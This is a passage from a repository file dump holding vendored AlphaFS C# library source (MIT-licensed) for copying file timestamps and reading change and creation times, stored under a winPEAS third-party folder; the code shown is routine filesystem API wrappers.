GetLinkTargetInfoTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetLinkTargetInfoCore(transaction, path, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.CopyTimestamps.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region Obsolete\n\n      /// <summary>[AlphaFS] Transfers the date and time stamps for the specified files.</summary>\n      /// <remarks>This method does not change last access time for the source file.</remarks>\n      /// <param name=\"sourcePath\">The source file to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination file to set the date and time stamps.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [Obsolete(\"Use new method name: CopyTimestamp\")]\n      [SecurityCritical]\n      public static void TransferTimestamps(string sourcePath, string destinationPath, PathFormat pathFormat)\n      {\n         CopyTimestamps(sourcePath, destinationPath, pathFormat);\n      }\n\n      /// <summary>[AlphaFS] Transfers the date and time stamps for the specified files.</summary>\n      /// <remarks>This method does not change last access time for the source file.</remarks>\n      /// <param name=\"sourcePath\">The source file to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination file to set the date and time stamps.</param>      \n      [Obsolete(\"Use new method name: CopyTimestamp\")]\n      [SecurityCritical]\n      public static void TransferTimestamps(string sourcePath, string destinationPath)\n      {\n         CopyTimestamps(sourcePath, destinationPath, PathFormat.RelativePath);\n      }\n\n      /// <summary>[AlphaFS] Transfers the date and time stamps for the specified files.</summary>\n      /// <remarks>This method does not change last access time for the source file.</remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source file to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination file to set the date and time stamps.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [Obsolete(\"Use new method name: CopyTimestampsTransacted\")]\n      [SecurityCritical]\n      public static void TransferTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, PathFormat pathFormat)\n      {\n         CopyTimestampsTransacted(transaction, sourcePath, destinationPath, pathFormat);\n      }\n\n      /// <summary>[AlphaFS] Transfers the date and time stamps for the specified files.</summary>\n      /// <remarks>This method does not change last access time for the source file.</remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source file to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination file to set the date and time stamps.</param>      \n      [Obsolete(\"Use new method name: CopyTimestampsTransacted\")]\n      [SecurityCritical]\n      public static void TransferTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath)\n      {\n         CopyTimestampsTransacted(transaction, sourcePath, destinationPath, PathFormat.RelativePath);\n      }\n\n      #endregion // Obsolete\n\n\n\n\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified existing files.</summary>\n      /// <remarks>This method does not change last access time for the source file.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"sourcePath\">The source file to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination file to set the date and time stamps.</param>\n      [SecurityCritical]\n      public static void CopyTimestamps(string sourcePath, string destinationPath)\n      {\n         CopyTimestampsCore(null, false, sourcePath, destinationPath, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified existing files.</summary>\n      /// <remarks>This method does not change last access time for the source file.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"sourcePath\">The source file to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination file to set the date and time stamps.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CopyTimestamps(string sourcePath, string destinationPath, PathFormat pathFormat)\n      {\n         CopyTimestampsCore(null, false, sourcePath, destinationPath, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified existing files.</summary>\n      /// <remarks>This method does not change last access time for the source file.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"sourcePath\">The source file to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination file to set the date and time stamps.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file linked to. No effect if <paramref name=\"destinationPath\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void CopyTimestamps(string sourcePath, string destinationPath, bool modifyReparsePoint)\n      {\n         CopyTimestampsCore(null, false, sourcePath, destinationPath, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified existing files.</summary>\n      /// <remarks>This method does not change last access time for the source file.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"sourcePath\">The source file to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination file to set the date and time stamps.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file linked to. No effect if <paramref name=\"destinationPath\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CopyTimestamps(string sourcePath, string destinationPath, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         CopyTimestampsCore(null, false, sourcePath, destinationPath, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.CopyTimestampsTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified existing files.</summary>\n      /// <remarks>This method does not change last access time for the source file.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source file to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination file to set the date and time stamps.</param>\n      [SecurityCritical]\n      public static void CopyTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath)\n      {\n         CopyTimestampsCore(transaction, false, sourcePath, destinationPath, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified existing files.</summary>\n      /// <remarks>This method does not change last access time for the source file.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source file to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination file to set the date and time stamps.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CopyTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, PathFormat pathFormat)\n      {\n         CopyTimestampsCore(transaction, false, sourcePath, destinationPath, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified existing files.</summary>\n      /// <remarks>This method does not change last access time for the source file.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source file to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination file to set the date and time stamps.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file linked to. No effect if <paramref name=\"destinationPath\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void CopyTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool modifyReparsePoint)\n      {\n         CopyTimestampsCore(transaction, false, sourcePath, destinationPath, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified existing files.</summary>\n      /// <remarks>This method does not change last access time for the source file.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source file to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination file to set the date and time stamps.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file linked to. No effect if <paramref name=\"destinationPath\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CopyTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         CopyTimestampsCore(transaction, false, sourcePath, destinationPath, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetChangeTime.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets the change date and time of the specified file.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified file. This value is expressed in local time.</returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file for which to obtain creation date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetChangeTime(string path, PathFormat pathFormat)\n      {\n         return GetChangeTimeCore(null, null, false, path, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the change date and time of the specified file.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified file. This value is expressed in local time.</returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file for which to obtain creation date and time information.</param>\n      [SecurityCritical]\n      public static DateTime GetChangeTime(string path)\n      {\n         return GetChangeTimeCore(null, null, false, path, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the change date and time of the specified file.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified file. This value is expressed in local time.</returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"safeFileHandle\">An open handle to the file or directory from which to retrieve information.</param>\n      [SecurityCritical]\n      public static DateTime GetChangeTime(SafeFileHandle safeFileHandle)\n      {\n         return GetChangeTimeCore(null, safeFileHandle, false, null, false, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetChangeTimeTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets the change date and time of the specified file.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified file. This value is expressed in local time.</returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to obtain creation date and time information.</param>\n      [SecurityCritical]\n      public static DateTime GetChangeTimeTransacted(KernelTransaction transaction, string path)\n      {\n         return GetChangeTimeCore(transaction, null, false, path, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the change date and time of the specified file.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified file. This value is expressed in local time.</returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to obtain creation date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetChangeTimeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetChangeTimeCore(transaction, null, false, path, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetChangeTimeUtc.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets the change date and time, in Coordinated Universal Time (UTC) format, of the specified file.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified file. This value is expressed in UTC time.</returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file for which to obtain change date and time information, in Coordinated Universal Time (UTC) format.</param>\n      [SecurityCritical]\n      public static DateTime GetChangeTimeUtc(string path)\n      {\n         return GetChangeTimeCore(null, null, false, path, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the change date and time, in Coordinated Universal Time (UTC) format, of the specified file.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified file. This value is expressed in UTC time.</returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file for which to obtain change date and time information, in Coordinated Universal Time (UTC) format.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetChangeTimeUtc(string path, PathFormat pathFormat)\n      {\n         return GetChangeTimeCore(null, null, false, path, true, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the change date and time, in Coordinated Universal Time (UTC) format, of the specified file.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified file. This value is expressed in UTC time.</returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"safeFileHandle\">An open handle to the file or directory from which to retrieve information.</param>\n      [SecurityCritical]\n      public static DateTime GetChangeTimeUtc(SafeFileHandle safeFileHandle)\n      {\n         return GetChangeTimeCore(null, safeFileHandle, false, null, true, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetChangeTimeUtcTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets the change date and time, in Coordinated Universal Time (UTC) format, of the specified file.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified file. This value is expressed in UTC time.</returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to obtain change date and time information, in Coordinated Universal Time (UTC) format.</param>\n      [SecurityCritical]\n      public static DateTime GetChangeTimeUtcTransacted(KernelTransaction transaction, string path)\n      {\n         return GetChangeTimeCore(transaction, null, false, path, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the change date and time, in Coordinated Universal Time (UTC) format, of the specified file.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified file. This value is expressed in UTC time.</returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to obtain change date and time information, in Coordinated Universal Time (UTC) format.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetChangeTimeUtcTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetChangeTimeCore(transaction, null, false, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetCreationTime.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Gets the creation date and time of the specified file.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the creation date and time for the specified file. This value is expressed in local time.</returns>\n      /// <param name=\"path\">The file for which to obtain creation date and time information.</param>\n      [SecurityCritical]\n      public static DateTime GetCreationTime(string path)\n      {\n         return GetCreationTimeCore(null, path, false, PathFormat.RelativePath).ToLocalTime();\n      }\n\n\n      /// <summary>[AlphaFS] Gets the creation date and time of the specified file.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the creation date and time for the specified file. This value is expressed in local time.</returns>\n      /// <param name=\"path\">The file for which to obtain creation date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetCreationTime(string path, PathFormat pathFormat)\n      {\n         return GetCreationTimeCore(null, path, false, pathFormat).ToLocalTime();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetCreationTimeTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets the creation date and time of the specified file.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the creation date and time for the specified file. This value is expressed in local time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to obtain creation date and time information.</param>\n      [SecurityCritical]\n      public static DateTime GetCreationTimeTransacted(KernelTransaction transaction, string path)\n      {\n         return GetCreationTimeCore(transaction, path, false, PathFormat.RelativePath).ToLocalTime();\n      }\n\n\n      /// <summary>[AlphaFS] Gets the creation date and time of the specified file.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the creation date and time for the specified file. This value is expressed in local time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to obtain creation date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetCreationTimeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetCreationTimeCore(transaction, path, false, pathFormat).ToLocalTime();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetCreationTimeUtc.cs",
